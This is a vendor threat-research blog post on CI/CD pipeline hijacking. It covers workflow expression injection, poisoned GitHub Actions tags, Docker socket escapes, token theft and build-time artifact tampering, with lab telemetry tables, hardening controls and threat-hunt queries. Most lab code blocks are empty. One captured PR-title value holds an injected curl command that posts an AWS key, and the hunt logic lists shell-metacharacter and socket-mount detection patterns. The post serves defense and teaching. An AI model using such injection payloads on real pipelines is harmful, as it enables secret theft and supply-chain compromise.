Netenrich Blog | Expert Cybersecurity Insights on SecOps, threats & more

CI/CD Pipeline Hijacking: 5 Attack Vectors & Threat Hunting

Written by Asritha Narina | Thu, Aug 06, 2026 @ 01:01 PM

Deconstructing automated build runner exploitation, real-world case studies, hands-on lab telemetry, and actionable threat hunt leads across all 5 attack vectors.


Executive Summary

NOTE

Part 1 covered supply chain concepts; Part 2 analyzed npm dependency poisoning. Part 3 targets the build engine itself: CI/CD runners, GitHub Actions workflows, and build-time artifact tampering.

Modern software relies on automated cloud pipelines (GitHub Actions, GitLab CI, Jenkins) to build and deploy releases. Because build runners hold high-privilege cloud IAM keys, deployment SSH tokens, and publishing credentials, attackers target the CI/CD pipeline to steal secrets, backdoor releases, and compromise downstream targets.


Introduction: From Source Code to Build Engines

In Part 1 of our Software Supply Chain series, we established that modern application security is no longer confined to the code written in-house—it encompasses every third-party component, registry, and dependency that touches the build process. In Part 2, we examined how threat actors compromise public package registries like npm through typosquatting, brandjacking, and maintainer account takeovers to gain initial access to developer workstations.

However, as enterprise engineering teams harden local developer machines and implement automated dependency scanning, adversaries have shifted their focus higher up the supply chain pyramid: directly targeting the automated CI/CD build infrastructure itself.

Continuous Integration and Continuous Delivery (CI/CD) pipelines serve as the automated engine of modern DevOps. Every git push or pull request triggers cloud-hosted or self-hosted runners that compile source code, execute automated unit tests, build container images, and publish deployment artifacts. To perform these operations, build runners are entrusted with the most sensitive secrets in the organization—including production cloud IAM credentials, deployment SSH keys, code-signing certificates, and package registry tokens.

Despite possessing keys to the kingdom, CI/CD runners routinely suffer from a major security asymmetry: while production runtime cloud environments are heavily monitored by modern security tools, build runners are ephemeral, short-lived, and frequently unmonitored. This brief deconstructs how adversaries weaponize CI/CD workflows, presents hands-on lab attack simulations with verified telemetry, and arms threat hunting teams with behavioral detection logic.


The CI/CD Automation Dilemma & GitHub Log Telemetry

  • Workflow Trigger Risks: Triggers like pull_request_target execute in the context of the base branch with repository secret access. GitHub Workflow Run Logs (REST API field: event: "pull_request_target" or context field: github.event_name: "pull_request_target") capture external PR triggers before code executes.
  • Mutable Action Tag Hijacking: Unpinned marketplace dependencies (uses: author/action@v1) are vulnerable to force-pushed git tags. GitHub Audit Logs (action: "git.push" / action: "git.create_ref" with forced: true and ref: "refs/tags/v1") track tag mutations across repositories.
  • Privileged Runner Container Configurations: Misconfigured workflows mounting root Docker sockets (/var/run/docker.sock) or running in privileged mode are audited directly through GitHub Actions Job Definition API (job.container.options).
  • Secret Exfiltration & Token Theft: Ephemeral runners dumping secrets or leaking GITHUB_TOKENs are detected via GitHub REST API Audit Logs (action: "git.fetch", actor_ip, token_type: "Installation Token") through anomalous caller IPs and out-of-bounds token usage.
  • Build-Time Artifact Tampering: In-memory compiler backdooring is captured at the platform level via GitHub Actions Artifact API through SHA256 digest mismatches (artifact.digest) against git source commit baselines (head_sha).


Five Pipeline Attack Vectors

Attack Vector

Exploitation Mechanism

Official GitHub Log API & Schema Field

1. Workflow Expression Injection

Injecting command separators (; curl ...) into untrusted event parameters (PR title, issue body) in inline bash blocks.

`event`: "pull_request_target", `actor.login`, `head_repository.full_name`, `github.event.pull_request.title`

2. Poisoned Marketplace Actions

Publishing typosquatted actions or overwriting mutable tags (@v1) on compromised maintainer accounts.

`action`: "git.push", `ref`: "refs/tags/v1", `forced`: true, `old_sha`, `new_sha`

3. Runner Infrastructure Escapes

Escaping runner containers, hijacking root Docker sockets (/var/run/docker.sock), or claiming host root permissions.

`job.container.options`: "-v /var/run/docker.sock:/...", `job.runner_group_name`

4. Secret Exfiltration & Token Theft

Scraping environment variables or process memory to exfiltrate GITHUB_TOKEN or cloud deployment keys.

`action`: "git.fetch" / "repo.download_zip", `token_type`: "Installation Token", `actor_ip`

5. Build-Time Artifact Tampering

SolarWinds-style malware replacing source code files in workspace memory immediately before compiler invocation.

`artifact.digest` (SHA256 Mismatch), `artifact.name`, `workflow_run.head_sha`


Real-World Case Studies

  • SolarWinds SUNBURST: SUNSPOT malware monitored build servers and replaced source files in MSBuild memory right before compilation, backdooring DLLs for 18,000+ customers.
  • Codecov Bash Uploader: Attackers modified Codecov's uploader.sh script to harvest environment variables and cloud keys across thousands of customer CI/CD pipelines.
  • GitHub Actions Crypto-Miners: Automated bots submitted malicious PRs to open-source repos to run Monero miners on GitHub runners, consuming massive CPU resources.


Hands-On Lab Simulations & Official GitHub Telemetry Evidence

NOTE

Lab Simulation 01 — Workflow Expression Injection

Vector 1 | CWE-94 / T1059.004 — Exploiting pull_request_target with an inline expression injection payload in PR Title to exfiltrate AWS deployment keys.


Vulnerable Workflow Snippet (.github/workflows/pr_review.yml):

 
Attacker PR Title Payload:




Official GitHub Workflow Run API & Context Schema:

Official GitHub Field Name

Captured Event Value

Security Significance

event / github.event_name

pull_request_target

HIGH FIDELITY: Workflow trigger event executing in base branch context with secret access.

actor.login / github.actor

external-contributor-user

Identifies external untrusted user submitting the malicious PR payload.

head_repository.full_name

forked-repo/app

Forked repository source confirming unvetted external code origin.

github.event.pull_request.title

Fix bug "; curl -s -X POST -d "token=AKIA..."

PR title payload containing injected shell command metacharacters.

id (workflow_run_id)

129847120

Unique GitHub Actions workflow run ID enabling instant correlation.

NOTE

Lab Simulation 02 — Poisoned Marketplace Action & Tag Hijacking

Vector 2 | CWE-829 / T1195.002 — Force-pushing mutable version tags (@v1) on compromised action repositories to execute malicious setup code


Vulnerable Workflow Importing Mutable Action Tag (.github/workflows/deploy.yml):



Official GitHub Enterprise Audit Log Schema:

GitHub Audit Log Schema Field

Captured Event Value

Security Significance

action

git.push

HIGH FIDELITY: Git push event updating tag reference in GitHub Audit Logs.

repo / repository

marketplace-author/setup-build-env

Target marketplace action repository.

ref

refs/tags/v1

Mutable version tag reference targeted for reassignment.

forced

true

Flag confirming tag reference was force-pushed.

old_sha / new_sha

a1b2c3d4... / f9e8d7c6...

Commit SHA shift from clean release SHA to malicious commit SHA.

actor

compromised-maintainer-account

Account performing the force-push tag update.

NOTE

Lab Simulation 03 — Runner Infrastructure Escape & Docker Socket Abuse

Vector 3 | T1611 / T1068 — Mounting the root Docker socket (/var/run/docker.sock) in self-hosted runners to escape containers and take over host node.


Vulnerable Workflow Snippet Mounting Host Socket (.github/workflows/container_build.yml):


Official GitHub Actions Job & Step API Schema:

GitHub Actions Schema Field

Captured Log Value

Security Significance

job.id

89234710

Unique Actions job ID within workflow run.

job.container.options

-v /var/run/docker.sock:/var/run/docker.sock

HIGH FIDELITY: Direct binding of host Docker socket into runner step.

job.runner_group_name

self-hosted-docker

Self-hosted runner pool with high host network and filesystem exposure.

job.steps[].name / step.number

Execute Docker Build / Step 2

Job execution step metadata capturing container breakout execution.

NOTE

Lab Simulation 04 — Secret Exfiltration & Token Theft from Runner Memory

Vector 4 | T1552.001 / T1567 — Scraping runner environment secrets and exfiltrating short-lived GITHUB_TOKENs, followed by anomalous API usage.


Malicious Postinstall Script inside Compromised Build Dependency:


Official GitHub REST API Audit Log Schema (Post-Exfiltration Token Abuse):

GitHub API Audit Schema Field

Captured Log Value

Security Significance

action

git.fetch / repo.download_zip

HIGH FIDELITY: Stolen GITHUB_TOKEN used to download private repos from external IP.

token_type

Installation Token

Ephemeral runner installation token leaked from runner environment.

actor_ip

203.0.113.88 (Anomalous External IP)

API request IP mismatching official GitHub Hosted Runner IP pools.

user_agent

git/2.34.1 (Custom Attacker CLI)

Anomalous user agent consuming leaked runner installation token.

NOTE

Lab Simulation 05 — Build-Time Artifact & Source Code Tampering

Vector 5 | T1195.001 / T1036 — SUNSPOT-style build server backdooring: swapping source code files in runner memory immediately before compiler invocation without altering git.


Attacker Background Watcher Payload Running on Runner (.deps/patcher.sh):


Official GitHub Actions Artifact API Schema:

GitHub Artifact Schema Field

Captured Log Value

Security Significance

workflow_run.id

402

GitHub Actions release workflow run ID.

workflow_run.head_sha

e3b0c44298fc1c149afbf4c8996fb9242...

Git commit SHA verified clean in repository history.

artifact.digest

sha256:8f9a2b1c4d3e5f6a... (HASH MISMATCH)

ARTIFACT TAMPERING: Binary SHA256 digest mismatch against reproducible build baseline.

artifact.name

release_bin.tar.gz

Published workflow release artifact containing tampered binary.


Pipeline Hardening Controls

  • Commit SHA Pinning: Pin third-party actions to full commit hashes (uses: action@commit-sha) instead of mutable tags (@v1).
  • Least Privilege GITHUB_TOKEN: Explicitly scope workflow token permissions (permissions: contents: read).
  • Isolate Insecure Triggers: Replace pull_request_target with pull_request to isolate untrusted PR code from secrets.
  • OIDC Keyless Auth: Replace long-lived cloud keys in CI secrets with short-lived 15-minute OIDC cloud tokens.
  • Docker Socket Hardening: Restrict socket bind mounts on self-hosted runners; use rootless Docker or Kaniko for container builds.
  • Reproducible Build Auditing: Verify compiled binary SHA256 hashes against build logs and git source commit baselines.


Threat Hunter's Spotlight — 5 GitHub Log Hunt Leads


1.Workflow Expression Injection via GitHub Workflow Run Telemetry

Hypothesis: Untrusted fork pull requests trigger pull_request_target workflows, evaluating command separators in dynamically written runner scripts.

Official GitHub Log Query Logic:

  • 1. Query GitHub Workflow Run logs where event == "pull_request_target" (or github.event_name == "pull_request_target").
  • 2. Filter for runs where head_repository.full_name != repository.full_name AND actor.login is an external contributor.
  • 3. Inspect github.event.pull_request.title or step logs for shell metacharacters (;, &&, $()).

Triage: Cross-reference github.event.pull_request.title with step execution logs in the GitHub Actions run output.


2. Poisoned Marketplace Actions & Mutable Tag Force-Pushes

Hypothesis: Threat actors force-push mutable git release tags (@v1) on third-party actions to deploy malicious build setup scripts across downstream pipelines.

Official GitHub Log Query Logic:

  • 1. Query GitHub Audit Logs for events where action == "git.push" or action == "git.create_ref".
  • 2. Flag events where ref matches refs/tags/* AND forced == true.
  • 3. Audit workflow step execution logs for sudden new_sha shifts on mutable action tags.

Triage: Compare the step action commit SHA logged during runner action checkout with the original release SHA baseline.


3. Container Breakout & Docker Socket Abuse via Workflow Definition Audit

Hypothesis: Attackers submit workflows to self-hosted runners mounting /var/run/docker.sock to spawn privileged containers and compromise the host node.

Official GitHub Log Query Logic:

  • 1. Audit workflow definition YAML commit logs where job.container.options contains -v /var/run/docker.sock or --privileged.
  • 2. Query GitHub Actions job queued events where job.runner_group_name targets self-hosted runner pools.
  • 3. Flag job.steps[].name containing docker run -v /:/... or chroot execution lines.

Triage: Inspect container launch options in workflow execution logs for interactive shell or host root mount requests.


4. Ephemeral Token Exfiltration & Anomalous GitHub REST API Usage

Hypothesis: Compromised build steps exfiltrate ephemeral GITHUB_TOKENs, which are subsequently used from foreign attacker infrastructure to access private repos.

Official GitHub Log Query Logic:

  • 1. Query GitHub REST API Audit Logs for actions authenticated via token_type == "Installation Token".
  • 2. Filter for REST API actions (git.fetch, repo.download_zip, contents.read) where actor_ip is NOT IN official GitHub Hosted Runner IP CIDR ranges.
  • 3. Alert on anomalous user_agent strings consuming scoped installation tokens.

Triage: Match the timestamp of workflow_run.id with the actor_ip in GitHub REST API Audit logs.


5. Pre-Compilation Source Tampering & Release Artifact Integrity Mismatches

Hypothesis: Background runner processes tamper with source code files in workspace memory immediately before compilation, backdooring published release artifacts.

Official GitHub Log Query Logic:

  • 1. Query GitHub Actions Artifact API for artifact.name and published release asset events.
  • 2. Compare artifact.digest SHA256 hashes against expected reproducible build hash baselines derived from workflow_run.head_sha.
  • 3. Flag workflow runs where release binary hashes deviate from verified clean test build outputs.

Triage: Re-run the build job in a clean, isolated environment to verify binary hash reproducibility against git source history.

Stop Machine-Speed Pipeline Attacks Before Secrets Leak

Short-lived build runners and stolen non-human identities operate at speeds legacy SOC workflows can't match. Netenrich eliminates operational noise and closes critical supply chain blind spots with a digital workforce of specialized AI agents.

 

WHAT’S NEXT IN THE SUPPLY CHAIN ATTACK SERIES

Coming Soon: Part 4 — Source Code & Software Production

Having explored Dependency Poisoning (Part 2) and CI/CD Pipeline Hijacking(Part 3), the next frontier is protecting the origin of trust itself: Source Code & Software Production.

In Part 4, we will examine how threat actors bypass developer identity controls, compromise source code repositories, tamper with commit history, and defeat modern software production safeguards.




About the Author 


 

Netenrich Threat Research

Asritha Narina is a Senior Threat Analyst at Netenrich. She specializes in tracking emerging cyber threats, analyzing adversary behaviors, and translating complex technical data into actionable defense intelligence. She is a recognized contributor to the MITRE ATT&CK framework, specifically noted for her threat research on the Iranian threat actor Agrius.

She also explores Intelligent AI agents that can be leveraged to proactively detect, investigate, and mitigate global cyber threats at scale.